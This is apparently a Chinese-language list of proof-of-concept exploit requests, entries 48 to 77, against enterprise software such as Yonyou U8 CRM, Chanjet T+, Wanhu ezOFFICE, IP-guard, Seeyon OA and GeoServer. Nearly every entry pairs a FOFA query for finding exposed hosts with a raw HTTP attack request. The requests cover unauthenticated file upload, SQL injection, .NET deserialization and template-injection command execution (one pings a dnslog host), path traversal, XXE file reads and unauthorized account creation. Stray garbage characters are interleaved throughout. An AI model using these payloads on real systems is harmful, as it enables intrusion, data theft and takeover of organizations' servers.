( B4 X/ Z& D0 d: s4 nAccept-Encoding: gzip, deflate, br
% E- c9 B. K# ~7 C9 C  WAccept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close
7 ]% }/ k; e) @& s1 R4 n' f
- m$ ^3 p' K' \: u
2 G+ A4 W9 m8 J: N- K! L! D0 G
/ i% B9 s- P! ?+ M' V2 o5 Y48. 用友U8 CRM swfupload 任意文件上传
1 s, J  Q% m" }: |( c& t# hFOFA：title="用友U8CRM"
' i! ^; G7 r) o. ?8 C( K6 {6 wPOST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: your-ip
: y- c- I8 j: ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
, h+ E7 d4 l" U% kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' S, x- ?/ ^3 aAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
Content-Disposition: form-data; name="file"; filename="s.php"
1231
3 E$ `! P- a) \) k- \4 T# _8 YContent-Type: application/octet-stream
8 h$ H, o4 z) n( |' V6 i8 ~------269520967239406871642430066855
+ w7 P; R7 i. F% MContent-Disposition: form-data; name="upload"
2 u6 C# H& u2 y2 Bupload
------269520967239406871642430066855--

" i( D5 x2 {5 D. I  h
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
% X0 ?( @" |7 ?! ~+ R+ dFOFA：body="用友U8CRM"

POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
2 g& f4 r* o* F8 j4 ?! w4 dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  k  C/ c( ?; o+ ^. I+ E1 w# I+ C6 zAccept-Encoding: gzip, deflate
1 @$ ~0 G* G/ J! l% _Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ O( v; }( N) x0 e: P% z1 pConnection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
2 i6 F$ I  k# `- N: q7 [- w9 k
% L: A- l1 F% [; L) a. z-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream

wersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"

* H5 N8 @7 T" k& e8 tupload
& Z+ p+ n  `& l' a- X# ^" o% O-----------------------------vvv3wdayqv3yppdxvn3w--
* s4 ?& }- X3 R, ]  I1 y% E4 B

# W+ H# ]" u! }4 thttp://x.x.x.x/tmpfile/updB3CB.tmp.php
$ I2 D4 }7 f( E
# V% Y) j* f& y, ?! \# i8 s) F. m50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
& u- Y7 y0 o4 f& g5 VPOST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 224
8 d2 C. f2 F; ]: bAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

8 A2 S) |  P0 I( t, @! f# fsearchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
, N; \7 z7 n: k2 Z2 |' t
: ?/ d4 l* F, _8 T, q! f# ~0 q
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
. j3 i3 ~" x% Z+ h  A. }Host: your-ip
1 }5 V3 m# E6 g  Y! s3 \User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
3 h/ i8 }  v/ D7 C! zAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
! V: L+ h! _+ c. p8 tAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


1 w. j) X, a0 O$ W8 l; i52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
  F- O* |1 {) ^; X4 kPOST /building/json_common.php HTTP/1.1
+ \' `5 H" Z2 R/ lHost: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
/ a$ l6 i$ }) N% J4 t5 yConnection: close
0 I# X. ]5 W5 d# ~: Z; jContent-Length: 87
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
& |7 f" g% i7 p* y7 Q# N7 T: Y' A! O
/ b$ w8 m. O0 e* {* C
53. 迪普 DPTech VPN Service 任意文件上传
# O1 G5 ^1 r4 h6 LFOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd


54. 畅捷通T+ getstorewarehousebystore 远程代码执行
) [; ~$ i; i  X, {; F& RFOFA：app="畅捷通-TPlus"
" X  ^% n1 \' N) j* H: o: ?第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
2 }) I  `1 z2 Q5 v: i# C6 x- W& t
5 Q) x# ~+ p2 L  y
完整数据包
6 p; @' a( a- ZPOST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
: T7 K" \; M+ d) |- C1 ~' RHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
- [  ^0 N' R# a& M3 C8 BContent-Length: 593

5 \- Q1 o6 i6 B: y1 f. @& S4 K) ]{
"storeID":{
7 r2 N1 W; F& |5 C: E+ |& l "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
" ?8 I5 b  t4 G4 u "MethodName":"Start",
3 Z$ B2 p1 Y+ P, q7 w3 m& h  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
) t6 y' q. P  g- b. G3 c, t    "StartInfo":{
8 o: i- ~, W0 o; s8 k   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
' g! d( |. t, J7 c8 k( {6 Q    "FileName":"cmd",
) e5 `' a/ u8 c7 G5 W    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
! S% i  `. B. H    }
9 z- s9 z& l! ]) m$ W/ z, h  }
  }
0 V! C" t: S2 Z: F/ M% z# e}
$ E- Q! D/ L- B# E7 B8 l
. I; r$ N8 |% {5 ~# q( N, L
第二步，访问如下url
) Y3 {& O& e! m$ h6 y4 J/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt

* J% v9 V4 Y; Q2 ]! n0 }9 E- E+ |
% c& ^: K9 I+ F. x55. 畅捷通T+ getdecallusers信息泄露
5 A  C' v: D; g7 Q2 E8 EFOFA：app="畅捷通-TPlus"
第一步，通过
) g! \6 w8 n; ~% J. t/ C9 O$ ?7 T/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
( q: j0 ?0 T+ q# [% S* B
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
, ?3 z3 s: l- Y0 p( N0 _FOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json
5 T2 H- @. {" W
9 v$ P+ D3 h$ g1 n4 r- m1 I{
6 e  ?" i6 g! c* ~  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
   "MethodName":"Start",
    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
3 S) T. p8 `' ?$ y1 h; M        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
! z  v% X  o" ^0 e9 W1 V           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
    }
  }
0 g3 T3 Z0 l; c! Y5 g! N}
: U4 O, j, z( ]- ~9 a

# c- k% W9 v( z57. 畅捷通T+ keyEdit.aspx SQL注入
7 q) i" B6 w, A2 qFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
: ~' g2 E4 L6 c3 ?/ M3 [( {User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

% k" o) I; ^& L. F
  E! B, H. K0 X, m58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
; s8 C' p% g& B% c) W3 }GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
$ R+ u2 D1 H1 _! {6 y. V; vHost: your-ip
$ I. X; z0 i/ C/ {9 O! A; uUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
" B# K. P; i7 i* t7 zAccept-Charset: utf-8
+ T' F4 |7 C0 `Accept-Encoding: gzip, deflate
Connection: close


- ?; d9 _8 d: q. b2 J1 \  B0 ^) A59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
5 T5 R  f7 o1 K& ^8 j; rHost: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
8 ~7 f9 D* a( R3 dConnection: close
+ [! _: ?  k# O) c7 P4 B) WContent-Length: 1669
Accept: */*
Accept-Language: en
2 J+ W" v- t% Q) v2 |. {Content-Type: application/x-www-form-urlencoded
5 s! H9 N* O7 m3 F2 \8 NAccept-Encoding: gzip

- r- x* P) C7 W3 WPAYLOAD

6 y3 q$ a' m5 p9 G: ~2 i
# t! b* o  t6 ^60. 百卓Smart管理平台 importexport.php SQL注入
; f5 d& l3 L3 u/ w/ h+ uFOFA：title="Smart管理平台"
- q7 p3 @! j  F/ f: H5 {5 bGET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
" q; s0 }6 r# `Host:
. O) a0 U, [$ UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
- j' Z6 y8 u, H7 j2 k. ?& V& Q8 uAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) ~1 y: N0 ^- Z9 j7 X1 qAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
' K: L% k1 p/ x5 q  V, R- ZConnection: close
( x. S% B$ h( |8 v0 }' \
; r- E* ]" l! F* n) j: k3 i/ U7 k- h
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
: J! q$ g+ W) x5 m$ ]% i7 jHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
. T  j/ C7 F) r3 c9 R* DConnection: close
" c" K# V' {: z& e) R* TContent-Length: 27
Accept: */*
6 L- f$ D8 O% m- bAccept-Encoding: gzip, deflate
. ?# K5 ^4 e( P0 sAccept-Language: en
Content-Type: application/x-www-form-urlencoded

8uxssX66eqrqtKObcVa0kid98xa

( b, D3 `& S( m- q0 x  s% d
62. IP-guard WebServer 远程命令执行
FOFA："IP-guard" && icon_hash="2030860561"
% x* V/ N, Q5 ~- yGET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
! u' ~1 V; m9 b  `3 vHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
. p1 l- ?) Z* |Connection: close
2 j1 t- `7 \8 I4 V! H+ S( FAccept: */*
9 c  j# z2 D+ |- f! k. \; G" LAccept-Language: en
6 k7 G0 \# h) h' |Accept-Encoding: gzip
$ Q6 V- u; i% j. T/ |6 m. U: p

7 J( ], Q# [$ o访问
$ M* Z1 E4 k: m' X% J$ h
+ O# U* C8 z4 ]: |" kGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
% t7 h- M$ Y+ m8 _6 N. Y* L% u" KHost: x.x.x.x


63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
# Z( K0 ~" ]7 w! L" J5 @8 C+ RFOFA：icon_hash="2030860561"
" ]% m! f& e# mPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
! p4 q( f! d/ |: r5 h2 }& jHost: your-ip
  A! U2 ~' G. j) I( ]6 y9 dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
+ l- b& x( z/ X, aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
. B9 ]& |8 _+ s% IAccept-Encoding: gzip, deflate
" J9 R! c! F( W9 EAccept-Language: zh-CN,zh;q=0.9
- l- P8 c, q; |2 p3 l$ J- qConnection: close
$ Z) l. \% B' A; s4 O4 V# \) c( hContent-Type: application/x-www-form-urlencoded
" }  E4 Z% f  {
) @5 E, u7 E( B( {path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

64. 捷诚管理信息系统CWSFinanceCommon SQL注入
4 U4 J7 ^0 o, M% o4 ?FOFA：body="/Scripts/EnjoyMsg.js"
POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
8 v/ b1 A1 A/ Z/ l& H5 s0 p& GHost: 192.168.86.128:9001
% |, F  s; K6 D5 V8 Y* [User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
2 j  ~: q+ ^* w) T# VConnection: close
Content-Length: 369
Accept: */*
Accept-Language: en
9 r! ?" l, j9 A4 ~Content-Type: text/xml; charset=utf-8
Accept-Encoding: gzip

6 k% J$ H5 e5 P4 H' Z* k& s<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
1 R& ~! K  |7 Q<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
# {. e6 D" b  m" @: |1 M/ {+ T7 |      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
  </soap:Body>
</soap:Envelope>

. m" T: }& q: ~5 v! v. P
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
" F* U. k: Z+ FFOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
9 e$ H* ?  M" N* u, m; m, ^POST /SystemMng.ashx HTTP/1.1
8 G1 v4 k' S; h- b* W* mHost:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
# g  f% ]& v8 m" ]# K% @- b% PAccept: */*
Connection: close
/ d" _" F3 f; ?! |3 {7 Y- IAccept-Language: en
Content-Length: 174
5 X/ v# d; j# q0 X2 R  W
operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators

0 w5 q6 I7 `7 G
/ L* w* E" J1 v! S0 a( N8 z66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
FOFA：app="万户ezOFFICE协同管理平台"

" ?8 i- P* r; V: r/ p1 L& gGET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
9 `! q, ^7 f$ i8 X) K5 j! gUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
4 ?$ m1 G* a3 i" [Connection: close
2 X* |" [: i. hAccept: */*
1 h5 ^' s; F2 PAccept-Language: en
Accept-Encoding: gzip


第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
3 f  Y# J1 V- T0 w+ N  f7 h6 jnewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
, J8 O, g5 {( v& P# rPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
; h6 W$ X5 s' S% s; e; DHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
" m4 Q. H1 \6 R" H4 L& fAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
. {6 Z0 `4 a& X; T$ i7 KContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
Upgrade-Insecure-Requests: 1
2 G/ `/ }/ j- Q; j
8 ]8 e( N/ {. }* x' C; g--ufuadpxathqvxfqnuyuqaozvseiueerp
. p9 R: T8 W/ s  T" {5 @- \% XContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

& j4 x- ?  P& I" }1 e" C<% out.print("sasdfghjkj");%>
4 I  m8 f0 Z3 i% ?0 R  ]+ S--ufuadpxathqvxfqnuyuqaozvseiueerp--

. r9 T/ E. d& j/ ^$ ?! O
文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
' X+ c4 J7 j  e$ Y4 `' R0 I
68. 万户ezOFFICE wf_printnum.jsp SQL注入
# Z3 ]- q# r3 ?2 z( s8 `FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
! \5 H" `! G6 p/ gHost: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
/ U; r1 V2 Y4 l( [Accept-Encoding: gzip, deflate
7 E) a5 o9 c) @Accept-Language: zh-CN,zh;q=0.9
1 h: T$ @1 L+ F5 P- n( @  {  `Connection: close


69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
4 K( k; e$ g  X1 T2 J5 [2 CUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
+ {- L* a4 j$ `* NAccept-Encoding: gzip, deflate
5 y5 t6 |5 Y- B) B* A$ }Accept: */*
Connection: keep-alive
" {( M+ f" j8 }& ], F4 j. a( V

70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
& N" f' t9 q, ?. Y! ZPOST /member/success.aspx HTTP/1.1
8 `; M* }, a5 S0 p1 }* R( gHost: {{Hostname}}
- [8 z' K7 f1 u& i! q. [( CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
Content-Type: application/x-www-form-urlencoded
6 T- e; _+ F2 H- a: ]TYPE: C
6 {; [& c$ i& o0 `Content-Length: 16702
" \' m, g" C6 d/ s: a. L
0 X# W, Z0 ~4 v3 Y) T__VIEWSTATE=PAYLOAD
, ]8 b8 y. g9 l: u% y0 u# d
2 D  C! m& @/ Z  p) U5 q
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
& N6 _) W4 p$ JFOFA：body="PM2项目管理系统BS版增强工具.zip"
% {' I6 K, t2 {& x( sGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
* d' v! O. t! k5 ?) Y+ r4 Y6 Q  GHost: x.x.x.xx.x.x.x
. \, j8 k4 l, g5 ]3 }9 u7 Z% X2 @$ XUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
9 t* C- `) }8 F  m3 y& |Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
4 u: z, ^0 Z+ r$ ]Accept-Encoding: gzip, deflate
' X/ _, f, X8 y  yAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 ^, k, w; F- a' ~0 H% p/ m6 l5 UUpgrade-Insecure-Requests: 1
/ a% \3 Y3 U$ o

72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
" T  i6 N0 e5 Q& U0 g" EConnection: close
% D6 S8 R, i# p4 C5 n! eContent-Length: 583
Content-Type: application/x-www-form-urlencoded
, c& ^" P2 Z# F2 X* o! dAccept-Encoding: gzip

S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E


* Q! g6 M5 K, C+ R/ B73. GeoServer wms远程代码执行
2 K4 B, y) _. WFOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
, k$ j8 m  N, t+ v  _, [8 B$ ?Host:
: Z2 |1 _: a# O6 a+ nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
Accept-Encoding: gzip, deflate
. h) q6 ~2 A" A5 `' @Connection: close
! r- \8 ]/ G# M  A. m# c) xContent-Type: application/xml
SL-CE-SUID: 3

- O0 I3 ?* v+ a7 G. O" ~: kPAYLOAD


74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
PAYLOAD
2 w: d) r1 E$ ^3 Q0 b4 z( r; W
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
$ }- [: i2 i7 d; h. dFOFA：app="TELESQUARE-TLR-2005KSH"
4 c3 M1 x4 u( e) n( v3 H& ?9 PGET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
$ ~# {8 L+ V# M7 I6 b9 F" uHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
Accept: */*
1 M1 C6 N0 P. u2 C( q. k% c7 bAccept-Language: en
Accept-Encoding: gzip
- @# m0 x5 f3 l% p3 K% ~
6 Z* n, \5 i8 W/ ~' S5 I
GET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x
3 s* }: ?$ b" T+ ]
/ B+ m7 q" e% m2 H7 s- l- i( a: i
) a# w$ A5 I$ e  y% o. t76. 新开普掌上校园服务管理平台service.action远程命令执行
3 V0 W& p% C' y6 {. j/ [5 gFOFA：title="掌上校园服务管理平台"
+ A5 K4 n, \8 {: e9 l% WPOST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 211
: }4 L0 ]$ t5 ~/ U3 O( @# wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ Q; ]) @9 ?0 [! ^1 V* U" J0 NAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
# B! Z/ D, `/ ]. H1 T
{
"command": "GetFZinfo",
+ j6 f9 _- x/ i  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
/ _5 m3 \- o2 M8 z+ }) U5 A, y  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}

" \' ~0 A* Q' J* f2 C
* O- }1 f* M& E& y( Z  E7 ]  {GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x

, w4 d- l+ u# n4 `. X

: p, ~9 b! {# p& q% V; s% _77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
; G  @8 F! t& E0 ^0 Q# L8 K, _POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
